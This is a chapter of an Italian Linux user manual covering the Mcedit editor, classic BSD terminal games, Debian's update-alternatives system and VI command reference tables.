Midnight Commander dispone di un sistema integrato di gestione dei file di testo, denominato Mcedit. Uno dei problemi maggiori che incontra chi si avvicina a GNU/Linux, o a un altro sistema Unix, è la difficoltà nell'uso dei programmi tradizionali per la creazione e la modifica di file di testo. Questi richiedono normalmente la conoscenza di comandi espressi attraverso combinazioni di tasti, senza avere a disposizione un menù e senza poter usare i tasti funzionali. Mcedit risolve parzialmente questo problema, offrendo un funzionamento intuitivo per l'utente che proviene dall'esperienza Dos, quando si ha a disposizione un terminale adeguatamente raffinato, come una console virtuale di GNU/Linux.

Mcedit può funzionare anche se si utilizza un terminale poco dotato, ma in tal caso si ritorna a dover usare le solite combinazioni di tasti che annoiano alcuni utenti.

24.16.1 Avvio

L'avvio del sistema di gestione dei file di testo si ottiene semplicemente puntando il file desiderato con la barra di selezione di Midnight Commander e premendo il tasto [*F4*], oppure avviando il binario di Midnight Commander utilizzando il nome '**`mcedit`**' (si tratta normalmente di un collegamento simbolico a '**`mc`**').

Ci si inserisce in questo modo in un ambiente differente (anche se uniforme) per la modifica del file. In basso si notano alcuni riferimenti a tasti funzionali:

```
1Help  2Menu  3View  4Edit  5Copy  6RenMov 7Mkdir  8Delete 9PullDn 10Quit
```

In alto si vede una riga di stato, dalla quale si conosce il nome del file aperto, lo stato del file, la colonna su cui si trova il cursore, il numero della prima riga che appare sullo schermo, il

numero della riga relativa allo schermo, la riga assoluta in cui si trova il cursore, il numero totale di righe del file e altre informazioni, come si vede nella figura 24.115.

Figura 24.115. La riga di stato del sistema di gestione dei file di testo di Midnight Commander.

posizione del cursore in byte

dimensione in byte

`al-04201.sgml [BMRO] 27: 50184+14 =50198/133060 - *1890086/5033862b= 10`

dimensione totale in righe

stato:
"B" blocco evidenziato
"M" file modificato
"R" registratore macro
"O" sovrascrittura

riga corrente

codice del carattere

riga del cursore sullo schermo

prima riga sullo schermo

nome del file

colonna del cursore

Premendo il tasto [*F9*] (o una delle sue varianti), oppure [*Meta f*] (in quanto la «f» è l'iniziale di «file»), la riga di stato viene sostituita da un menù a tendina che si può utilizzare in modo semplice e intuitivo.

24.16.2 Configurazione

La configurazione del sistema di gestione dei file di testo è accessibile attraverso il menù `Options`, in particolare merita attenzione la funzione `General`, come si vede in figura 24.116.

Figura 24.116. La maschera di configurazione generale.

```
 ─────────────────────── Editor options ───────────────────────

  Key emulation                    [x] Fake half tabs
   (*) Intuitive                   [ ] Backspace through tabs
   ( ) Emacs                       [x] Return does autoindent
                                   [ ] Fill tabs with spaces
                                   [x] Confirm before saving
                                   [x] Save file position
  Wrap mode                        [x] Syntax highlighting
   (*) None
   ( ) Dynamic paragraphing       Tab spacing:          8     [^]
   ( ) Type writer wrap           Word wrap line length: 72   [^]

            [< OK >]                    [ Cancel ]
```

Il significato delle varie opzioni dovrebbe essere evidente. In particolare, nel seguito viene mostrato l'uso della tastiera secondo l'emulazione «intuitiva».

Merita un po' di attenzione la gestione del carattere di tabulazione. Dal momento che lo standard generale prevede che la tabulazione dei file di testo sia ogni otto colonne, è opportuno che questa dimensione non venga alterata, mentre diviene conveniente l'opzione `fake half tab`.

Questa permette di utilizzare il tasto [*Tab*] per inserire spaziature ridotte (di quattro caratteri) che poi vengono tradotte in pratica con tanti caratteri spazio (<*SP*>) quanti servono. Se però l'utente usa più volte la tabulazione, dove possibile viene utilizzato il carattere di tabulazione orizzontale (<*HT*>).

24.16.3 Comandi comuni

Mcedit è «intuitivo», in quanto si può usare senza dovere ricordare delle combinazioni di tasti. Quando serve qualcosa di più basta chiamare il menù e cercare tra le varie voci disponibili. Tuttavia, quando si utilizza attraverso un terminale non sufficientemente raffinato, si rischia di perdere l'uso di alcuni tasti, per cui si deve ripiegare sul solito sistema di combinazioni. La tabella 24.117 mostra l'elenco di alcuni comandi utili per lo spostamento del cursore e per la modifica del testo.

Tabella 24.117. Alcuni comandi per la navigazione e la modifica del testo.

Comando	Alternativa	Descrizione
[*Meta Esc*]	[*Esc*][*Esc*]	Termina l'attività sul file.
Caratteri normali		Inseriscono il testo corrispondente.
[*Tab*]	[*Ctrl i*]	A seconda della configurazione, inserisce una tabulazione.
Tasti freccia		Spostano il cursore nella direzione della freccia.
Tasti pagina		Spostano il cursore di una schermata in avanti o indietro.
[*Ctrl pagina−su*]		Sposta il cursore all'inizio del file.
[*Ctrl pagina−giù*]		Sposta il cursore alla fine del file.
[*Backspace*]	[*Ctrl h*]	Cancella il carattere a sinistra del cursore.
[*Canc*]	[*Ctrl d*]	Cancella il carattere in corrispondenza del cursore.
[*Invio*]	[*Ctrl j*]	Inserisce un'interruzione di riga.
[*Ctrl y*]		Elimina la riga su cui si trova il cursore.
[*Ctrl l*]		Ridisegna lo schermo.
[*Ins*]		Scambia tra sovrascrittura e inserimento del testo digitato.
[*Ctrl u*]		Annulla l'ultimo comando (compresa la singola digitazione).

24.16.4 Blocchi di testo e le funzionalità di taglia-copia-incolla

I blocchi di testo possono essere evidenziati, copiati, tagliati e incollati nello stesso modo utilizzato comunemente dai programmi fatti per il sistema Dos. Questo significa che tenendo premuto il tasto [*Maiuscole*] e utilizzando i tasti freccia, si ottiene la selezione del testo con trascinamento, fino a quando si rilascia nuovamente il tasto [*Maiuscole*]; la combinazione [*Ctrl Ins*] copia la selezione corrente, deselezionandola; la combinazione [*Maiuscole Ins*] incolla la selezione copiata precedentemente, nella posizione del cursore.

Tutto questo però, vale solo se si sta usando una console virtuale GNU/Linux; se si sta lavorando da un terminale differente, o una connessione remota, si usa il tasto [*F3*] (con le varianti eventuali dei tasti funzionali, già descritte per Midnight Commander) per segnalare l'inizio di una zona da marcare, quindi si sposta il cursore e infine si preme nuovamente [*F3*] per concludere la zona evidenziata.

In entrambi i casi, si potrebbe evitare la copia della zona selezionata, premendo semplicemente il tasto [*F5*] per incollare nella posizione del cursore, senza nemmeno perdere la selezione.

Per ritagliare l'area selezionata, si utilizza la combinazione [*Maiuscole Canc*]; poi si può incollare quanto ritagliato nel solito modo: [*Maiuscole Ins*].

Ciò che viene ritagliato, o copiato, viene inserito in un file temporaneo nella directory personale dell'utente: '`~/.mc/cedit/cooledit.clip`'. L'estensione del file suggerisce che si tratti di una *clipboard*. Questo meccanismo è molto importante, in quanto permette di incollare testo copiato o ritagliato con un'altra sessione di lavoro di Mcedit (attraverso Midnight Commander), purché appartenga allo stesso utente.

Mcedit consente anche l'utilizzo del mouse per delimitare un blocco di testo, anche quando si utilizza il programma all'interno di una finestra di terminale, nell'ambito del sistema grafico X.

Tabella 24.118. Taglia-copia-incolla.

Comando	Alternativa	Descrizione
[*Maiuscole frecce*]	[*F3*] ... [*F3*]	Delimita un blocco di testo.
[*F5*]		Incolla una copia del testo evidenziato.
[*F6*]		Sposta il blocco evidenziato in corrispondenza del cursore.
[*F8*]		Cancella il blocco evidenziato.
[*Ctrl Ins*]		Copia la zona evidenziata nell'area temporanea, togliendo l'evidenziamento.
[*Maiuscole Canc*]		Ritaglia la zona evidenziata inserendola nell'area temporanea.
[*Maiuscole Ins*]		Incolla il contenuto dell'area temporanea nella posizione del cursore.

Infine, per eliminare un blocco di testo evidenziato, senza inserirlo nell'area temporanea, basta usare il tasto [*F8*].

24.16.5 Composizione del testo

Attraverso la configurazione di Mcedit, è possibile stabilire se si intende fare in modo che il testo sia mandato a capo automaticamente o meno. Per questo è anche necessario fissare la dimensione massima di colonne del testo.

In generale, dovrebbe essere conveniente evitare che Mcedit provveda da solo a dividere le righe mentre si digita il testo. Quando si vuole riallineare un paragrafo, cioè un blocco di righe di testo preceduto e seguito da una riga vuota, basta usare il comando [*Meta p*], oppure si può richiamare la voce corrispondente del menù `Edit`.

24.16.6 Macro

Attraverso la combinazione [*Ctrl r*], si inizia e si conclude la registrazione della pressione di una sequenza di tasti. Al termine viene richiesto di indicare un carattere; successivamente, per riprodurre quella sequenza, è sufficiente utilizzare la sequenza [*Meta a*][*x*], dove l'ultimo tasto è appunto il carattere specificato in precedenza per memorizzare la macro.

24.16.7 Ricerche e sostituzioni

Dal menù _Search/Replace_ si accede alle funzionalità di ricerca e di sostituzione del testo. La voce _Search_, a cui si accede facilmente anche con il tasto [*F7*], apre un riquadro come quello che si vede nella figura 24.119.

Figura 24.119. La maschera per la ricerca.

```
─────────────────────── Search ─────────────────────────
Enter search string:
                                                    [^]
 [ ] case Sensitive
 [ ] Whole words only              [ ] Backwards
 [ ] Regular expression            [ ] scanf Expression
          [< OK >]                   [ Cancel ]
```

L'utilizzo delle caselle di selezione è abbastanza intuitivo. In particolare, è possibile utilizzare le espressioni regolari; inoltre, se funziona il mouse, è possibile selezionare il simbolo '**`[^]`**' con il quale si ottiene lo storico delle stringhe di ricerca già inserite.

La ricerca con sostituzione è un po' più complessa; in tal caso, la stringa di sostituzione può essere costante, o contenere anche un espressione da trattare come se fosse inserita in una funzione ***printf()***.

Purtroppo, tale funzionalità, pur essendo documentata e anche molto importante, potrebbe non essere operativa. Pertanto, se l'esempio che viene proposto non funziona, dipende dalla propria edizione di Mcedit.

Nella figura 24.120 si mostra un esempio in cui si cerca la stringa «rosso naso» e la si vuole sostituire con «naso rosso». Guardando la figura, si osservi il fatto che nell'espressione regolare di ricerca sono state delimitate le parole «naso» e «rosso» con delle parentesi tonde; a queste parole, ovvero alla stringa corrispondente secondo l'espressione regolare, si fa riferimento attraverso le metavariabili '**`%s`**', della funzione ***printf()***; tuttavia, si rende necessaria l'inversione nell'ordine di questi due parametri.

Figura 24.120. La maschera per la ricerca e la sostituzione, con un esempio.

```
Replace
Enter search string:
(rosso) +(naso)                                              [^]
Enter replacement string:
%s %s                                                        [^]
Enter replacement argument order eg. 3,2,1,4
2,1                                                          [^]
 [ ] case Sensitive
 [ ] Whole words only              [x] prOmpt on replace
 [x] Regular expression            [x] replace All
 [ ] Backwards                     [x] scanf Expression
        [< OK >]                    [ Cancel ]
```

In alternativa all'esempio mostrato, in cui si fa uso di un'espressione regolare per la ricerca (ammesso che la sostituzione funzioni come dovrebbe), si potrebbe usare un'espressione adatta alla funzione C ***scanf()***. In tal caso, l'opzione `Regular expression` andrebbe disattivata.

24.16.8 Collegamento «mcedit» e variabile di ambiente «EDITOR»

Si è accennato al fatto che si può ottenere immediatamente l'avvio di Mcedit avviando Midnight Commander con il nome '**`mcedit`**'. In tal caso sono valide la maggior parte delle opzioni che si potrebbero dare a '**`mc`**', con la differenza che si può aggiungere l'indicazione di un nome di file nella stessa riga di comando, così da poter creare o accedere immediatamente a un file di testo.

```
mcedit [opzioni] [file]
```

Se si apprezzano le caratteristiche di Mcedit, la presenza di questo collegamento permette di utilizzarlo anche al di fuori del funzionamento normale di Midnight Commander e di indicarlo come programma predefinito per la creazione e la modifica di file di testo.

24.16.9 Limiti di memoria

Di norma, Mcedit non è in grado di gestire file con una dimensione superiore a 64 Mibyte. Raramente può succedere di avere la necessità di gestire file di testo di dimensioni maggiori; in quei casi è necessario modificare uno o due valori nel file '`edit/edit.h`' dei sorgenti di Midnight Commander:

```
…
#define MAXBUFF 2048 /* il valore originale è 1024 */
…
…
#define START_STACK_SIZE 64 /* il valore originale è 32 */
…
```

Nel modo mostrato si raddoppiano i limiti, ma si osservi che il valore '**`START_STACK_SIZE`**' riguardante la pila per l'annullamento dei comandi, non deve essere ampliato necessariamente.

Eventualmente, per la ricompilazione di un pacchetto Debian, si veda la sezione 7.8.

24.17 Giochi e simili

Nei sistemi BSD e derivati si sono prodotti dei programmi, da usare attraverso uno schermo a caratteri, che sono da considerare come dei giochi o poco più. Questi programmi sono disponibili anche nei sistemi GNU e possono avere, soprattutto, un significato storico, ma vale comunque la pena di conoscerne alcuni.

Di per sé, un «gioco» è un programma come un altro, tuttavia, secondo la tradizione questi programmi vanno collocati nella gerarchia '`/usr/games/`', pertanto questa directory deve essere presente tra i percorsi di avvio degli eseguibili (la variabile di ambiente ***PATH***).

24.17.1 Banner

Il programma '**`banner`**'[49] serve a produrre un testo di grandi dimensioni, possibilmente da stampare attraverso una stampante a modulo continuo, per produrre un «manifesto», così come il nome del programma intende:

```
banner [opzioni] [-w n] [testo]
```

Il testo da ingrandire viene indicato alla fine della riga di comando; tuttavia, se manca, viene chiesto espressamente in modo interattivo. Come si vede dal modello, l'opzione più importante è '**`-w`**', con la quale si può specificare l'ampiezza massima da utilizzare per la stampa o la visualizzazione.

```
$ banner -w 40 ciao [Invio]
```

```
     #####
  ###########
 ##############
##           ##
#              #
#              #
#             ##
 #          ###
  ##
#              #
################    ####
################    ####
```

```
################     ##
   ###
 #######    ##
#########  ####
##     ##    # ##
#      ##       #
##     #      ##
###############
##############
#

     #####
  ###########
 ##############
##           ##
#               #
#               #
#             ##
####       ####
  ############
    ########
```

L'esempio mostra il funzionamento del programma per visualizzare la parola «ciao», usando un'ampiezza massima di 40 colonne di testo.

A seconda della versione, il programma '**banner**' potrebbe anche visualizzare il testo in orizzontale, rendendolo utile come un modo per evidenziare dei messaggi da generare attraverso degli script.

24.17.2 Arithmetic

Il programma '**arithmetic**'[50] permette di eseguire degli esercizi di aritmetica elementare:

```
arihmetic [-o {+|-|x|/}...] [-r n]
```

Se si utilizza '**arithmetic**' senza argomenti, si ottengono degli esercizi molto semplici su somme e sottrazioni; altrimenti, con l'opzione '**-o**' è possibile specificare il tipo di operazioni su cui puntare l'attenzione (somma, sottrazione, moltiplicazione e divisione). L'opzione '**-r**' consente di indicare il numero intero massimo da usare nelle operazioni (a seconda dei casi può trattarsi degli operandi o dei risultati che si ottengono, secondo un ragionevole buon senso).

$ **arithmetic -o +-x/** [*Invio*]

In questo caso, si vogliono eseguire esercizi su tutte le quattro operazioni, nell'intervallo numerico predefinito:

61 / 7 = **8** [*Invio*]

```
  Right!
```

0 x 1 = **0** [*Invio*]

```
  Right!
```

94 / 9 = **10** [*Invio*]

```
  Right!
```

9 + 6 = **16** [*Invio*]

```
  What?
```

15 [*Invio*]

```
  Right!
```

9 x 7 = **63** [*Invio*]

```
  Right!
```

14 - 6 = **[*Ctrl c*]** [*Invio*]

$ **arithmetic -o +-x/ -r 2** [*Invio*]

In questo caso, con l'opzione '**-r 2**' si vuole che il programma si concentri sui valori da zero a due.

24.17.3 Primes

Il programma '**primes**'[51] elenca i numeri primi a partire da un certo valore o appartenenti a un certo intervallo:

primes [***inizio*** [***fine***]]

Se si utilizza '**primes**' senza argomenti, questo attende dallo standard input il valore iniziale e quindi inizia a calcolare i numeri primi da quel valore fino a un certo numero molto grande; altrimenti, i calcoli si limitano all'intervallo indicato negli argomenti.

$ **primes 100 130** [*Invio*]

L'esempio serve a ottenere i numeri primi compresi tra 100 e 130. Ecco cosa si ottiene:

```
  101
  103
  107
  109
  113
  127
```

24.17.4 POM

Il programma '**pom**',[52] ovvero *Phase of moon*, genera la descrizione della fase lunare del momento presente o di un altro momento specificato nella riga di comando:

```
pom [[[[[ss]aa]mm]gg]hh]
```

$ **pom** [*Invio*]

In questo caso si ottiene la fase attuale:

```
The Moon is Waning Crescent (8% of Full)
```

Se invece si specifica una data:

$ **pom 2010123100** [*Invio*]

```
Thu 2010 Dec 30 23:00:00 (CET):  The Moon will be Waning Crescent (21% of Full)
```

24.17.5 Worms

Il programma '**worms**',[53] è una specie di salva-schermo per terminali a carattere, che disegna il percorso di alcuni «vermi». Nella riga di comando sono previste delle opzioni, dove è praticamente obbligatorio l'uso di '**-d** ***n***', per specificare un ritardo:

```
worms [opzioni]
```

Ecco come può essere usato in una console di un sistema GNU/Linux:

$ **worms -d 100** [*Invio*]

Ecco come potrebbe presentarsi lo schermo dopo un po':

```
                                                                          *
                                                                         *
                                                                         *
               OO                                                       *
              O  O                                                 **  *
            OO   O                                          ***  **  **
           O                                                   **
           O
          O
        OO
###    O
#      O
#     O
 #   O
 #
#
#      ##
 #   #
  ###
```

Per aumentare la quantità di vermi sullo schermo, basta usare l'opzione '**-n *n***':

$ **worms -d 100 -n 5** [*Invio*]

In tal caso i vermi sono cinque.

24.17.6 Rain

Il programma '**rain**',[54] è una specie di salva-schermo per terminali a carattere, che simula sullo schermo il gocciolio della pioggia:

```
rain [-d n]
```

L'opzione '**-d**' serve a richiedere un ritardo nel ciclo di iterazione, che diventa praticamente obbligatorio per poter distinguere qualcosa:

$ **rain -d 100** [*Invio*]

Ecco come potrebbe presentarsi lo schermo durante il funzionamento:

```
                                         -
                                        |.|
                  -                      -
                 / \
                | O |
          .      \ /
                  -




                                                 O


                     o
```

24.17.7 Fortune

Il programma '**fortune**'[55] serve a mostrare degli «epigrammi» (delle «massime», ma spesso sono semplici barzellette), raccolti in file appositi, che di norma accompagnano il programma stesso:

```
fortune [opzioni]
```

Il programma viene usato normalmente senza opzioni, per ottenere una massima a caso:

$ **fortune** [*Invio*]

```
Extreme feminine beauty is always disturbing.
                 -- Spock, "The Cloud Minders", stardate 5818.4
```

24.17.8 Worm

Il programma '**worm**'[56] è il gioco del verme che cresce allungandosi. Lo scopo del gioco è quello di «mangiare» dei numeri, raggiungendoli con la testa del verme, senza che il verme tocchi se stesso o i bordi dello schermo:

```
worm [dimensione]
```

Il verme è costituito da una sequenza di caratteri «o» e la testa la si distingue perché è rappresentata da «@». Inizialmente il verme si presenta lungo otto caratteri in tutto, a meno di utilizzare l'opzione numerica, che può servire per riprendere il gioco con un verme più grande.

$ **worm** [*Invio*]

Ecco come si presenta il gioco dopo un po' di tempo che viene utilizzato, quando ha raggiunto la dimensione di 85 caratteri:

```
Worm                                                               Score:  85
 ******************************************************************************
*                    ooooooooooooooooooooooooooooooooooooooooooooo            *
*                    o                oooooooooooooooooooooooooooo            *
*                    o                o                                       *
*                    o                                                        *
*                    o                                                        *
*                    o                                                        *
*                    o                                                        *
*                    o                                                        *
*                    o                                                        *
*                    o                                                        *
*                    o                                                        *
*                    o                                                        *
*                    o                                                        *
*                    o                                                        *
*                    ooooooo@                         1                       *
*                                                                             *
*                                                                             *
*                                                                             *
*                                                                             *
*                                                                             *
*                                                                             *
*                                                                             *
 ******************************************************************************
```

Per dirigere il verme dovrebbe essere possibile usare i tasti freccia, ma rimane la possibilità di usare i tasti [*h*], [*j*], [*k*], e [*l*], come con il programma VI.

24.17.9 Tetris

Il programma '**`tetris-bsd`**'[57] è il gioco del «tetris», nella versione per terminali a caratteri.

tetris [*opzioni*]

tetris-bsd [*opzioni*]

Attraverso le opzioni è possibile incrementare il livello di gioco e attivare l'anteprima del pezzo successivo. Si veda eventualmente la pagina di manuale *tetris(6)* o *tetris-bsd(6)*.

$ **`tetris-bsd`**[*Invio*]

Ecco come si presenta il gioco dopo un po' di tempo che viene utilizzato:

```
Score: 74

  j - left   k - rotate   l - right   <space> - drop   p - pause   q - quit
```

Per dirigere i pezzi si usano i tasti [*j*], [*k*] e [*l*], che servono rispettivamente per spostare a sinistra, ruotare e spostare a destra. Per fare una pausa si usa il tasto [*p*], mentre per far scendere immediatamente un pezzo si usa la [*barra-spaziatrice*].

24.18 Alternative nella distribuzione Debian

La distribuzione GNU/Linux Debian organizza una serie di collegamenti simbolici riferiti a programmi di uso comune; per esempio, in questo modo esiste il programma eseguibile virtuale '**`x-www-browser`**', che fa riferimento al navigatore (per esempio '**`mozilla`**'), oppure esiste il programma virtuale '**`vi`**' che fa riferimento a '**`vim`**', '**`nvi`**' o simili.

Questo sistema ha il vantaggio di offrire un nome standard ai programmi, così da avere la certezza di trovare sempre ciò che serve attraverso un nome che non cambi nel tempo. Ovviamente occorre avere l'accortezza di aggiornare questi collegamenti simbolici in base a ciò che si installa e si disinstalla.

Anche se si tratta di una struttura specifica della distribuzione Debian, ciò non toglie che possa essere usato un metodo del genere anche in altre distribuzioni, oppure che si possa aggiungere da soli qualcosa di simile.

24.18.1 Organizzazione particolare della distribuzione Debian

La distribuzione Debian è organizzata in modo tale da inserire i collegamenti simbolici da aggiornare nella directory '`/etc/alternatives/`'. L'elenco di alcuni collegamenti comuni appare nella tabella 24.141.

La directory '`/etc/alternatives/`' non appare nell'elenco dei percorsi di avvio degli eseguibili (contenuto nella variabile di ambiente ***PATH***), pertanto, nelle directory '`/bin/`', '`/usr/bin/`' ed eventualmente in altre simili, si trovano altri collegamenti simbolici che puntano a quelli previsti nella directory '`/etc/alternatives/`'. Per esempio, '`/usr/bin/vi`' punta a '`/etc/alternatives/vi`', il quale, a sua volta, potrebbe puntare a '`/usr/bin/nvi`' o altro programma compatibile con VI.

Oltre al problema degli eseguibili, la distribuzione Debian fa in modo che anche i file delle pagine di manuale siano inseriti in questo meccanismo. Pertanto, per continuare l'esempio già proposto a proposito di VI, '`/usr/share/man/man1/vi.1.gz`' punta a '`/etc/`

alternatives/vi.1.gz', il quale potrebbe puntare a sua volta a '/usr/share/man/man1/nvi.1.gz'.

La gestione dei collegamenti simbolici contenuti nella directory '/etc/alternatives/' può essere manuale, oppure automatica; in generale può essere controllata attraverso il programma '**update-alternatives**'. Il modello sintattico seguente mostra solo alcuni casi di utilizzo comuni:

update-alternatives [*opzioni_comuni*] ***comando*** ***nome***

Tabella 24.137. Alcuni casi comuni.

Sintassi	Descrizione
update-alternatives [*opzioni*] --display ***nome***	Mostra lo stato del collegamento simbolico indicato come argomento finale.
update-alternatives [*opzioni*] --list ***nome***	Mostra l'elenco delle alternative possibili riferite al collegamento simbolico indicato come argomento finale.
update-alternatives [*opzioni*] --config ***nome***	Consente di decidere interattivamente come dirigere il collegamento simbolico indicato.
update-alternatives [*opzioni*] --auto ***nome***	Riporta allo stato automatico la gestione del collegamento simbolico indicato come argomento finale.

Dalla descrizione della tabella si vede che un riferimento a un programma può essere gestito in modo automatico, oppure manuale. Se si interviene a mano nei collegamenti simbolici della directory '/etc/alternatives/', questi vengono riconosciuti come riferimenti gestiti manualmente. Ecco cosa si potrebbe vedere a proposito di uno di questi riferimenti:

update-alternatives --display x-www-browser [*Invio*]

```
x-www-browser - status is auto.
 link currently points to /usr/bin/galeon
/usr/bin/mozilla - priority 80
 slave x-www-browser.1.gz: /usr/share/man/man1/mozilla.1.gz
/usr/bin/galeon - priority 120
 slave x-www-browser.1.gz: /usr/share/man/man1/galeon.1.gz
/usr/bin/epiphany - priority 85
 slave x-www-browser.1.gz: /usr/share/man/man1/epiphany.1.gz
/usr/bin/konqueror - priority 100
Current `best' version is /usr/bin/galeon.
```

Volendo impostare manualmente il navigatore predefinito in modo che corrisponda a Mozilla, ecco come bisognerebbe procedere:

update-alternatives --configure x-www-browser [*Invio*]

```
  There are 4 alternatives which provide `x-www-browser'.

    Selection    Alternative
  -----------------------------------------------
        1        /usr/bin/mozilla
  *+    2        /usr/bin/galeon
        3        /usr/bin/epiphany
        4        /usr/bin/konqueror

Press enter to keep the default[*], or type selection number: 1 [Invio]


  Using `/usr/bin/mozilla' to provide `x-www-browser'.
```

Per riportare tutto allo stato automatico:

```
# update-alternatives --auto x-www-browser [Invio]
```

Tabella 24.141. Alcune alternative Debian che fanno riferimento a nomi di programmi non comuni.

Comando	Descrizione
`editor`	Un programma per la creazione e la modifica dei file di testo.
`view`	Un programma per la visualizzazione di file comuni.
`pager`	Un programma per scorrere il contenuto di un file sullo schermo (come '**`more`**' o '**`less`**').
`www-browser`	Navigatore per i terminali non grafici.
`x-session-manager`	Un gestore di sessione per il sistema grafico X.
`x-terminal-emulator`	Un terminale grafico per X.
`x-window-manager`	Un gestore di finestre per il sistema grafico X.
`x-www-browser`	Navigatore grafico.

24.18.2 Organizzare manualmente un sistema di alternative

Se piace l'idea delle alternative, si può realizzare un sistema simile anche in modo manuale, senza tante raffinatezze: è sufficiente predisporre una directory con i collegamenti che servono, mettendo questa directory al primo posto dei percorsi di ricerca. Supponendo che si tratti della directory '`/etc/bin/`':

```
PATH="/etc/bin:$PATH"
export $PATH
```

Le istruzioni appena mostrate potrebbero risiedere nel file '`/etc/profile`', supponendo che sia utilizzata una shell POSIX o una shell Bourne.

24.19 Tabelle riepilogative

Tabella 24.143. VI: passaggio alla modalità di inserimento.

`I`	Inserisce all'inizio della riga attiva.
`i`	Inserisce prima della posizione attiva.
`A`	Aggiunge alla fine della riga attiva.
`a`	Aggiunge dopo la posizione attiva.
`O`	Inserisce prima della riga attiva (inserendo una riga).
`o`	Aggiunge dopo la riga attiva (inserendo una riga).

Figura 24.144. VI: navigazione nel testo.

`h`	Sposta il cursore a sinistra di un carattere.
`j`	Sposta il cursore in basso nella riga successiva.
`k`	Sposta il cursore in alto nella riga precedente.
`l`	Sposta il cursore a destra di un carattere.
`-`	Sposta il cursore all'inizio della riga precedente.
`+`	Sposta il cursore all'inizio della riga successiva.
`w`	Sposta il cursore all'inizio della parola successiva.
`e`	Sposta il cursore alla fine della parola successiva.
`b`	Sposta il cursore all'inizio della parola precedente.
`^`	Sposta il cursore all'inizio della prima parola della riga.
`0`	Sposta il cursore all'inizio della riga.
`$`	Sposta il cursore alla fine della riga.
`H`	Sposta il cursore sulla prima riga che appare sullo schermo.
`M`	Sposta il cursore sulla riga centrale dello schermo.
`L`	Sposta il cursore sull'ultima riga che appare sullo schermo.

G	Sposta il cursore sull'ultima riga del file.
nG	Sposta il cursore sulla riga identificata dal numero ***n***.
|	Sposta il cursore sulla prima colonna (all'inizio della riga).
n |	Sposta il cursore sulla colonna identificata dal numero ***n***.
:***n***	Sposta il cursore sulla riga identificata dal numero ***n***.
[*Ctrl B*]	Fa scorrere il testo all'indietro di una schermata.
[*Ctrl F*]	Fa scorrere il testo in avanti di una schermata.
[*Ctrl U*]	Fa scorrere il testo all'indietro di mezza schermata.
[*Ctrl D*]	Fa scorrere il testo in avanti di mezza schermata.

Tabella 24.145. VI: cancellazione del testo.

x	Cancella il carattere che si trova sulla posizione attiva.
J j	Unisce la riga attiva con quella successiva.
dd	Cancella la riga attiva.
d***mod***	Cancella dalla posizione attiva fino all'estensione indicata dal modificatore.
D	agisce come '**d$**'.

Tabella 24.146. VI: sostituzione e rimpiazzo.

C	Sostituisce dalla posizione attiva alla fine della riga.
cc	Sostituisce la riga attiva a partire dall'inizio.
c***mod***	Sostituisce dalla posizione attiva fino all'estensione indicata dal modificatore.
r***x***	Rimpiazza quanto contenuto nella posizione attiva con ***x***.
~	Inverte maiuscole e minuscole.

Tabella 24.147. VI: taglia-copia-incolla.

yy	Copia la riga attiva nell'area temporanea.
y***mod***	Copia nell'area temporanea il testo fino all'estensione indicata dal modificatore.
dd	Trasferisce la riga attiva nell'area temporanea.
d***mod***	Trasferisce nell'area temporanea il testo fino all'indicazione dal modificatore.

`p`	Incolla dopo la posizione del cursore.
`P`	Incolla prima della posizione del cursore.

Tabella 24.148. VI: taglia-copia-incolla con nome.

`"`***x***`yy`	Copia la riga attiva nell'area temporanea ***x***
`"`***x***`y`***mod***	Copia nell'area temporanea ***x*** il testo fino all'indicazione dal modificatore.
`"`***x***`dd`	Trasferisce la riga attiva nell'area temporanea ***x***.
`"`***x***`d`***mod***	Trasferisce nell'area temporanea ***x*** il testo fino all'indicazione dal modificatore.
`"`***x***`p`	Incolla il contenuto dell'area temporanea ***x*** prima del cursore.
`"`***x***`P`	Incolla il contenuto dell'area temporanea ***x*** dopo il cursore.

Tabella 24.149. VI: annullamento dei comandi.

`u`	Annulla l'ultimo comando.
`U`	Annulla le modifiche sulla riga attiva.

Tabella 24.150. VI: caricamento e salvataggio dei file.

`:e` ***nome_file***	Carica il file indicato per poterlo modificare.
`:e!`	Ricarica il file annullando le modifiche fatte nel frattempo.
`:r` ***nome_file***	Legge il file indicato e ne inserisce il contenuto dopo la riga attiva.
`:f`	Mostra il nome e le caratteristiche del file aperto.
`:w`	Salva.
`:w` ***nome_file***	Salva una copia con il nome indicato.
`:wq`	Salva e termina l'esecuzione.
`:q`	Fine lavoro.
`:q!`	Fine lavoro forzato.

Tabella 24.151. VI: modalità di funzionamento.

`:set [no]autoindent`	Mantiene i livelli di rientro nelle righe nuove.
`:set [no]beautify`	Elimina i caratteri speciali non stampabili.
`:set [no]ignorecase`	Nelle ricerche, ignora la differenza tra maiuscole e minuscole.
`:set [no]list`	Mostra i caratteri di tabulazione e di interruzione di riga.
`:set [no]number`	Visualizza i numeri delle righe.
`:set [no]ruler`	Visualizza le coordinate del cursore alla base dello schermo.

Tabella 24.152. VI: ricerche.

`/`***modello_regexp***	Cerca in avanti una corrispondenza con il modello indicato.
`?`***modello_regexp***	Cerca all'indietro una corrispondenza con il modello indicato.
`n`	Ripete l'ultimo comando '**/**' o '**?**'.
`N`	Ripete l'ultimo comando '**/**' o '**?**' in modo inverso .

Tabella 24.153. VI: espressioni regolari.

`.`	Corrisponde a un carattere qualsiasi.
`\`	Fa perdere il significato speciale che può avere il carattere seguente.
`^`	Corrisponde all'inizio di una riga.
`$`	Corrisponde alla fine di una riga.
`[`***abc***`]`	Corrisponde a un carattere qualsiasi tra quelli tra parentesi quadre.
`[^`***abc***`]`	Corrisponde a un carattere qualsiasi diverso da quelli tra parentesi quadre.
`[`***a***`-`***z***`]`	Un carattere qualsiasi nell'intervallo compreso tra ***a*** e ***z***.
`[^`***a***`-`***z***`]`	Un carattere qualsiasi diverso dall'intervallo compreso tra ***a*** e ***z***.

Figura 24.154. VI: ricerche e sostituzioni.

```
:inizio,fines/modello_da_cercare/sostituzione/[g][c]
   |    |                    |
   |    |                    |
   |    |                    `--> «&»   riferimento
   |    |                                alla stringa
   |    |                                trovata
   |    |
   |    |--> «n»   riga n-esima
   |    |--> «$»   ultima riga
   |    `--> «.»   riga corrente
   |
   |--> «n»   riga n-esima
   `--> «.»   riga corrente
```

Attenzione:

```
:%s/modello_da_cercare/sostituzione/[g][c]
```

equivale a:

```
:1,$s/modello_da_cercare/sostituzione/[g][c]
```

24.20 Riferimenti

- *vi (and clone) docs*
  ⟨http://www.rru.com/~meo/useful/vi/⟩

[1] **GNU core utilities** GNU GPL

[2] **GNU core utilities** GNU GPL

[3] **GNU core utilities** GNU GPL

[4] **GNU core utilities** GNU GPL

